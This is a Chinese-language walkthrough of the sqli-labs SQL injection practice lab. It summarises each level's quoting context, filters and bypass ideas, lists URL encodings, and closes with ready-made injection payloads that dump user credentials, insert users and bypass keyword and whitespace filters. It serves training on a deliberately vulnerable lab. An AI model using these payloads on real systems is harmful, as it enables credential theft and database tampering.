sqli-labs提示和答案(含详细教程)

1.参考资料部分

具体sqli-labs内容参考
链接1
或者更加全面的
注入天书pdf

2.总结部分

声明：页面显示的图片不总结

第1关到10关为GET注入

前四关登录成功显示用户名，失败报错正常
第1关id=‘1’
第2关id=1
第3关id=(‘1’)
第4关id=(“1”)
第5关和6关登录显示You are in…，失败报错正常
第5关id=‘1’
第6关id=“1”
第7-10关盲注
第7关id=((‘1’))
第8关id=‘1’
第9关id=‘1’
第10关id=“1”

第11关到16关为POST注入

第11关和12关登录成功显示用户名密码，失败报错正常
第11关username=‘admin’
第12关username=(‘admin’)
第13关和14关登录成功不显示，失败报错正常
第13关username=(‘admin’)
第14关username=“admin”
第15关16关盲注
第15关username=‘admin’
第16关username=(‘admin’)

17-22关的过滤

输入字符长度超过15的部分截断
字符串中\x00，\n，\r，\，'，"，\x1a被转义
纯数字的话被强制转换成整形

第17关username被过滤password=‘1’
第18,19,20,21关username和password都被过滤了
第18关,在http头useragent处注入，前提是成功登录
第19关,在http头Referer处注入，前提是登录成功
第20关,uname='cookie’注入
第21关,uname=(‘cookie’)加密注入
第22关,uname="cookie"加密注入

23关的过滤

-- 和 # 这两个注释符号

第23关id=‘admin’用闭合注入’ or ‘’=’

24关的过滤

\，"，'

第24关二次注入

第25/25a关的过滤

and 和 or

第25关id=‘1’
第25a关登录失败不报错
第25a关id=1

第26/26a关的过滤

and，or，--，#，空格、制表符、换页符，/*，//

第26关id=‘1’
第26a关id=(‘1’)

第27关的过滤

--，/*，空格，#，大小写没过滤完全完全的select,union

第27关id=‘1’
第27a关没有报错
第27a关id=“1”

第28关的过滤

--，/*，/，空格，#，大小写完全过滤的union+\s+select

第28关id=(‘1’)
第28a关id=(‘1’) 只过滤union+\s+select组合

第29/30/31关

?id=被WAF过滤的部分&id=payload

第29关id=‘1’
第30关id=“1”
第31关id=(“1”)

第32-37关的过滤

'，“，\

思路:宽字节注入

第38-45关

思路:堆叠注入(使用mysqli_multi_query导致的)
mysql基础命令

create table test select * from users;
drop table test;
select load_file('/Users/xjj/Desktop/eval');
insert into users(id,username,password) values('100','new','new');
update test set name='test' where id=3;

第38关id=‘1’
第39关id=1
第40关id=(‘1’)
第41关id=1

第42-45关:

login_user过滤 " / '
login_password='1'

第43关login_password=(‘1’)
第44关login_password=‘1’
第45关login_password=(‘1’)

第46-53关

思路:

order by和limit的注入
order by rand(true)随机排序
order by rand(false)与true不同
rand(),时间盲注,procedure analyse注入
into outfile "/Users/xjj/Desktop/new"

第46关order by $id
第47关order by ‘$id’
第48/49关盲注
第48关order by $id
第49关order by ‘$id’
第50/51关在46关基础上增加堆叠注入
第50关order by $id
第51关order by ‘$id’
第52/53关盲注
第52关order by $id
第53关order by ‘$id’

第54-65关

第54-57关和第1-4关一样但是讲究效率
第54关id=‘1’
第55关id=(1)
第56关id=(‘1’)
第57关id=“1”

第58-61关

union注入没有回显
第58关id=‘1’
第59关id=1
第60关id=(“1”)
第61关id=((‘1’))

第62-65关

盲注，用脚本

常用urlencode

! - %21
" - %22
# - %23
$ - %24
% - %25
& - %26
’ - %27
( - %28
) - %29
* - %2A
+ - %2B
, - %2C
- - %2D
. - %2E
/ - %2F
: - %3A
; - %3B
< - %3C
= - %3D
> - %3E
? - %3F
@ - %40
[ - %5B
\ - %5C
] - %5D
| - %7C
~ 0x7e
: 0x3a
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格

部分关卡的答案

25
?id=’ union select 1,(SELECT GROUP_CONCAT(username,passwoorrd SEPARATOORR 0x3c62723e) FROM users),3 anandd ‘1’=‘1
26关暂时没找到绕过\s正则的方法
27
?id=’%0bunIOn%0bseLEct%0b1,(SEleCT%0bGROUP_CONCAT(username,password%0bSEPARATOR%0b0x3c62723e)%0bFROM%0busers),3%0band%0b’1’=‘1
28
?id=’)%0bunion%0bunion%0bselectselect%0b1,(SELECT%0bGROUP_CONCAT(username,password%0bSEPARATOR%0b0x3c62723e)%0bFROM%0busers),3%0band%0b(‘1
29
id=2&id=’ union select 1,(SELECT GROUP_CONCAT(username,password SEPARATOR 0x3c62723e) FROM users),3 and ‘1’=‘1
32
?id=-1%df%27%20union%20select%201,user(),2–+
34:burpsuite
uname=%df%27%0bunion%0bselect%0b1,(SELECT%0bGROUP_CONCAT(username,password%0bSEPARATOR%0b0x3c62723e)%0bFROM%0busers)–+#&passwd=1&submit=Submit
35
?id=-1%20union%20select%201,2,3;–+
36
?id=-1%df%27union%20select%201,2,3;±-+#
37:burpsuite
uname=%df’+union+select+1,2;±-+#&passwd=1&submit=Submit
42burpsuite
login_user=admin&login_password=’+or+1=1;insert+into+users(username,password)+values(0x61,0x62);±-+#&mysubmit=Login